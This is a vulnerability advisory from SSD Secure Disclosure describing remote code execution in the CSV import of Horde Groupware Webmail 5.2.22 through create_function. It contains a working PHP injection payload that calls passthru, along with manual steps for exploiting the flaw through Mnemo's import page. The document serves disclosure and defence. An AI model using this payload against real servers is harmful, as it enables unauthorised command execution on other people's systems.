SSD Advisory – Horde Groupware Webmail Edition Remote Code Execution

Vulnerability Summary
The Horde project comprises of several standalone applications and libraries. The Horde Groupware Webmail Edition suite bundles several of them by default, among those, Data is a library used to manager data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function in a way that enables injection of arbitrary PHP code, thus enabling Remote Code Execution on the server hosting the web application.


An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Horde Groupware Webmail Edition Version 5.2.22

Vendor Response

Vulnerability Details
A vulnerable CVE parsing feature is used by several Horde applications:

  • Turba (address book; via /turba/data.php)
  • Mnemo (notes; via /mnemo/data.php)
  • Nag (tasks; via /nag/data.php)
  • Kronolith (calendar)

By using one of these, an authenticated user can execute arbitrary PHP and shell code as the user that runs the web server, usually www-data.
In the master branch of the Data repository, a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0), yet apparently the authors failed to recognize the exploitable status of prior code so they did not release a new version. So, when installing Horde via PEAR or Debian APT, it yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) specifically, it is likely that the vulnerability affects regular Horde Groupware installations as well.

In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);")

The insufficient sanitization of $params['quote'] escapes ’ as \’ but fails to escape the \ itself thus allowing to escape the last hard coded ’. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a)")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ‘ of the second instance of quote)
Using a simple payload that executes the id shell command and returns the output in the response:


Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is an explanation of its parts:

  1. ) terminates str_replace
  2. The concatenation operator (.) continues the expression since the code starts with a return
  3. passthru("id") is an example of the actual payload to be executed
  4. die() is needed because create_function is used inside array_map thus if it can be called multiple times and it also aborts the rest of the page
  5. } terminates the block function (...) {...} used by the implementation of create_function, otherwise the following // would comment out } causing a syntax error
  6. // comments out the remaining invalid PHP code
  7. \ escapes the hard coded string as shown above.

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:


Proof of Concept
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual Exploit
This vulnerability can be easily exploited manually by any registered user:

  1. Log into Horde
  2. Navigate to
  3. Select any non-empty file to import then click “Next”
  4. In the input field labeled by “What is the quote character?” write the payload, e.g ).passthru("id").die();}//\ and click “Next”
  5. The output of the command should be returned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell Exploit
You can also write simple script to automate the steps above. Example scripts are available on our GitHub repository: SSD Horde Groupware Webmail Advisory GitHub Repository


Get in touch